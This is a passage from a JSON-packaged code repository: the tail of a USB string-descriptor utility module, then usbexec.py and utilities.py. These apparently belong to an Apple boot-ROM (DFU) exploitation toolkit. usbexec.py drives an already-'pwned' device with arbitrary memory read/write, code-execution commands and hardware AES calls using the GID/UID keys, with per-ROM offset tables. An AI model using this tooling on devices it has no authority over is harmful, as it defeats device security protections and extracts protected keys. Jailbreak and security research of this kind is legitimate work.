dev,\n                254,\n                DESC_TYPE_STRING,\n                0\n            )\n\n    # The array is retrieved by asking for string descriptor zero, which is\n    # never the index of a real string. The returned descriptor has bLength\n    # and bDescriptorType bytes followed by pairs of bytes representing\n    # little-endian LANGIDs. That is, buf[0] contains the length of the\n    # returned array, buf[2] is the least-significant byte of the first LANGID\n    # (if any), buf[3] is the most-significant byte, and in general the LSBs of\n    # all the LANGIDs are given by buf[2:buf[0]:2] and MSBs by buf[3:buf[0]:2].\n    # If the length of buf came back odd, something is wrong.\n\n    if len(buf) < 4 or buf[0] < 4 or buf[0]&1 != 0:\n        return ()\n\n    return tuple(map(lambda x,y: x+(y<<8), buf[2:buf[0]:2], buf[3:buf[0]:2]))\n\ndef get_string(dev, index, langid = None):\n    r\"\"\"Retrieve a string descriptor from the device.\n\n    dev is the Device object which the string will be read from.\n\n    index is the string descriptor index and langid is the Language\n    ID of the descriptor. If langid is omitted, the string descriptor\n    of the first Language ID will be returned.\n\n    Zero is never the index of a real string. The USB spec allows a device to\n    use zero in a string index field to indicate that no string is provided.\n    So the caller does not have to treat that case specially, this function\n    returns None if passed an index of zero, and generates no traffic\n    to the device.\n\n    The return value is the unicode string present in the descriptor, or None\n    if the requested index was zero.\n\n    It is a ValueError to request a real string (index not zero), if: the\n    device's langid tuple is empty, or with an explicit langid the device does\n    not support.\n    \"\"\"\n    if 0 == index:\n        return None\n\n    from usb.control import get_descriptor\n    langids = dev.langids\n\n    if 0 == len(langids):\n        raise ValueError(\"The device has no langid\")\n    if langid is None:\n        langid = langids[0]\n    elif langid not in langids:\n        raise ValueError(\"The device does not support the specified langid\")\n\n    buf = get_descriptor(\n                dev,\n                255, # Maximum descriptor size\n                DESC_TYPE_STRING,\n                index,\n                langid\n            )\n    if hexversion >= 0x03020000:\n        return buf[2:buf[0]].tobytes().decode('utf-16-le')\n    else:\n        return buf[2:buf[0]].tostring().decode('utf-16-le')\n"
  },
  {
    "path": "usbexec.py",
    "content": "import struct, sys\nimport dfu, device_platform\n\nclass ExecConfig:\n  def __init__(self, info, aes_crypto_cmd):\n    self.info           = info\n    self.aes_crypto_cmd = aes_crypto_cmd\n\n  def match(self, info):\n    return info == self.info[0].ljust(0x40, '\\0') + self.info[1].ljust(0x40, '\\0') + self.info[2].ljust(0x80, '\\0')\n\nconfigs = [\n  ExecConfig(('SecureROM for s5l8947xsi, Copyright 2011, Apple Inc.',   'RELEASE',     'iBoot-1458.2'),          aes_crypto_cmd=0x7060+1),\n  ExecConfig(('SecureROM for s5l8950xsi, Copyright 2011, Apple Inc.',   'RELEASE',     'iBoot-1145.3'),          aes_crypto_cmd=0x7300+1),\n  ExecConfig(('SecureROM for s5l8955xsi, Copyright 2011, Apple Inc.',   'RELEASE',     'iBoot-1145.3.3'),        aes_crypto_cmd=0x7340+1),\n  ExecConfig(('SecureROM for t8002si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE',  'iBoot-2651.0.0.1.31'),   aes_crypto_cmd=0x86DC+1),\n  ExecConfig(('SecureROM for t8004si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE',  'iBoot-2651.0.0.3.3'),    aes_crypto_cmd=0x786C+1),\n  ExecConfig(('SecureROM for s5l8960xsi, Copyright 2012, Apple Inc.',   'RELEASE',     'iBoot-1704.10'),         aes_crypto_cmd=0x10000B9A8),\n  ExecConfig(('SecureROM for t8010si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE',  'iBoot-2696.0.0.1.33'),   aes_crypto_cmd=0x10000C8F4),\n  ExecConfig(('SecureROM for t8011si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE',  'iBoot-3135.0.0.2.3'),    aes_crypto_cmd=0x10000C994),\n  ExecConfig(('SecureROM for t8015si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE',  'iBoot-3332.0.0.1.23'),   aes_crypto_cmd=0x100009E9C),\n]\n\nEXEC_MAGIC = 'execexec'[::-1]\nDONE_MAGIC = 'donedone'[::-1]\nMEMC_MAGIC = 'memcmemc'[::-1]\nMEMS_MAGIC = 'memsmems'[::-1]\nUSB_READ_LIMIT  = 0xFFFF # why does that panic T8015 ROM?\nCMD_TIMEOUT     = 5000\nAES_BLOCK_SIZE  = 16\nAES_ENCRYPT     = 16\nAES_DECRYPT     = 17\nAES_GID_KEY     = 0x20000200\nAES_UID_KEY     = 0x20000201\n\nclass PwnedUSBDevice():\n  def memset(self, address, c, length):          self.command(self.cmd_memset(address, c, length), 0)\n  def memcpy(self, dest, src, length):           self.command(self.cmd_memcpy(dest, src, length), 0)\n  def read_memory_ptr(self, address):            return struct.unpack('<%s' % self.cmd_arg_type(), self.read_memory(address, self.cmd_arg_size()))[0]\n  def read_memory_uint8(self, address):          return struct.unpack('<B', self.read_memory(address, 1))[0]\n  def read_memory_uint16(self, address):         return struct.unpack('<H', self.read_memory(address, 2))[0]\n  def read_memory_uint32(self, address):         return struct.unpack('<I', self.read_memory(address, 4))[0]\n  def read_memory_uint64(self, address):         return struct.unpack('<Q', self.read_memory(address, 8))[0]\n  def write_memory(self, address, data):         self.command(self.cmd_memcpy(address, self.cmd_data_address(3), len(data)) + data, 0)\n  def write_memory_ptr(self, address, value):    self.write_memory(address, struct.pack('<%s' % self.cmd_arg_type(), value))\n  def write_memory_uint8(self, address, value):  self.write_memory(address, struct.pack('<B', value))\n  def write_memory_uint16(self, address, value): self.write_memory(address, struct.pack('<H', value))\n  def write_memory_uint32(self, address, value): self.write_memory(address, struct.pack('<I', value))\n  def write_memory_uint64(self, address, value): self.write_memory(address, struct.pack('<Q', value))\n  def cmd_arg_type(self):                        return 'Q' if self.platform.arch == 'arm64' else 'I'\n  def cmd_arg_size(self):                        return 8 if self.platform.arch == 'arm64' else 4\n  def cmd_data_offset(self, index):              return 16 + index * self.cmd_arg_size()\n  def cmd_data_address(self, index):             return self.load_base() + self.cmd_data_offset(index)\n  def cmd_memcpy(self, dest, src, length):       return struct.pack('<8s8x3%s' % self.cmd_arg_type(), MEMC_MAGIC, dest, src, length)\n  def cmd_memset(self, address, c, length):      return struct.pack('<8s8x3%s' % self.cmd_arg_type(), MEMS_MAGIC, address, c, length)\n\n  def load_base(self):\n    if 'SRTG:' in self.serial_number:\n      return self.platform.dfu_image_base\n    else:\n      return self.platform.dfu_load_base\n\n  def image_base(self):\n    if 'SRTG:' in self.serial_number:\n      return self.platform.rom_base\n    else:\n      return self.platform.dfu_image_base\n\n  def usb_serial_number(self, key):\n    for pair in self.serial_number.split(' '):\n      if pair.startswith(key + ':'):\n        k,v = pair.split(':')\n        if v[0] == '[' and v[-1] == ']':\n          return v[1:-1]\n        else:\n          return int(v, 16)\n    return None\n\n  def aes(self, data, action, key):\n    assert len(data) % AES_BLOCK_SIZE == 0\n    (retval, received) = self.execute(len(data), self.config.aes_crypto_cmd, action, self.cmd_data_address(7), self.cmd_data_address(0), len(data), key, 0, 0, data)\n    assert retval & 0xFFFFFFFF == 0\n    return received[:len(data)]      \n\n  def read_memory(self, address, length):\n    data = str()\n    while len(data) < length:\n      part_length = min(length - len(data), USB_READ_LIMIT - self.cmd_data_offset(0))\n      response = self.command(self.cmd_memcpy(self.cmd_data_address(0), address + len(data), part_length), self.cmd_data_offset(0) + part_length)\n      assert response[:8] == DONE_MAGIC\n      data += response[self.cmd_data_offset(0):]\n    return data\n\n  def command(self, request_data, response_length):\n    assert 0 <= response_length <= USB_READ_LIMIT\n    device = dfu.acquire_device()\n    assert self.serial_number == device.serial_number\n    dfu.send_data(device, '\\0' * 16)\n    device.ctrl_transfer(0x21, 1, 0, 0, 0, 100)\n    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)\n    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)\n    dfu.send_data(device, request_data)\n\n    # HACK\n    if response_length == 0:\n      response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:]\n    else:\n      response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring()\n    dfu.release_device(device)\n    assert len(response) == response_length\n    return response\n\n  def execute(self, response_length, *args):\n    cmd = str()\n    for i in range(len(args)):\n      if isinstance(args[i], (int, long)):\n        cmd += struct.pack('<%s' % self.cmd_arg_type(), args[i])\n      elif isinstance(args[i], basestring) and i == len(args) - 1:\n        cmd += args[i]\n      else:\n        print 'ERROR: usbexec.execute: invalid argument at position %s' % i\n        sys.exit(1)\n      if i == 0 and self.platform.arch != 'arm64':\n        cmd += '\\0' * 4\n    response = self.command(EXEC_MAGIC + cmd, self.cmd_data_offset(0) + response_length)\n    done, retval = struct.unpack('<8sQ', response[:self.cmd_data_offset(0)])\n    assert done == DONE_MAGIC\n    return retval, response[self.cmd_data_offset(0):]\n\n  def __init__(self):\n    self.config = None\n    self.platform = None\n\n    device = dfu.acquire_device()\n    self.serial_number = device.serial_number\n    dfu.release_device(device)\n \n    for dp in device_platform.all_platforms:\n      if self.serial_number.startswith('CPID:%04x CPRV:%02x ' % (dp.cpid, dp.cprv)):\n        self.platform = dp\n        break\n    if self.platform is None:\n      print self.serial_number\n      print 'ERROR: No matching usbexec.platform found for this device.'\n      sys.exit(1)\n\n    info = self.read_memory(self.image_base() + 0x200, 0x100)\n    for config in configs:\n      if config.match(info):\n        self.config = config\n        break\n    if self.config is None:\n      print info\n      print 'ERROR: No matching usbexec.config found for this image.'\n      sys.exit(1)\n"
  },
  {
    "path": "utilities.py",
    "content": "import subprocess, sys\n\ndef apply_patches(binary, patches):\n    for (offset, data) in patches:\n        binary = binary[:offset] + data + binary[offset + len(data):]\n    return binary\n\ndef aes_decrypt(data, iv, key):\n  if len(key) == 32:\n    aes = 128\n  elif len(key) == 64:\n    aes = 256\n  else:\n    print 'ERROR: Bad AES key given to aes_decrypt. Exiting.'\n    sys.exit(1)\n\n  p = subprocess.Popen(['openssl', 'enc', '-aes-%s-cbc' % aes, '-d', '-nopad', '-iv', iv, '-K', key],\n                       stdout=subprocess.PIPE,\n                       stdin=subprocess.PIPE,\n                       stderr=subprocess.PIPE)\n  (stdout, stderr) = p.communicate(input=data)\n\n  if p.returncode != 0 or len(stderr) > 0:\n    print 'ERROR: openssl failed: %s' % stderr\n    sys.exit(1)\n\n  return stdout\n\ndef hex_dump(data, address):\n  p = subprocess.Popen(['xxd', '-o', str(address)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n  (stdout, stderr) = p.communicate(input=data)\n\n  if p.returncode != 0 or len(stderr) > 0:\n    print 'ERROR: xxd failed: %s' % stderr\n    sys.exit(1)\n\n  return stdout\n"
  }
]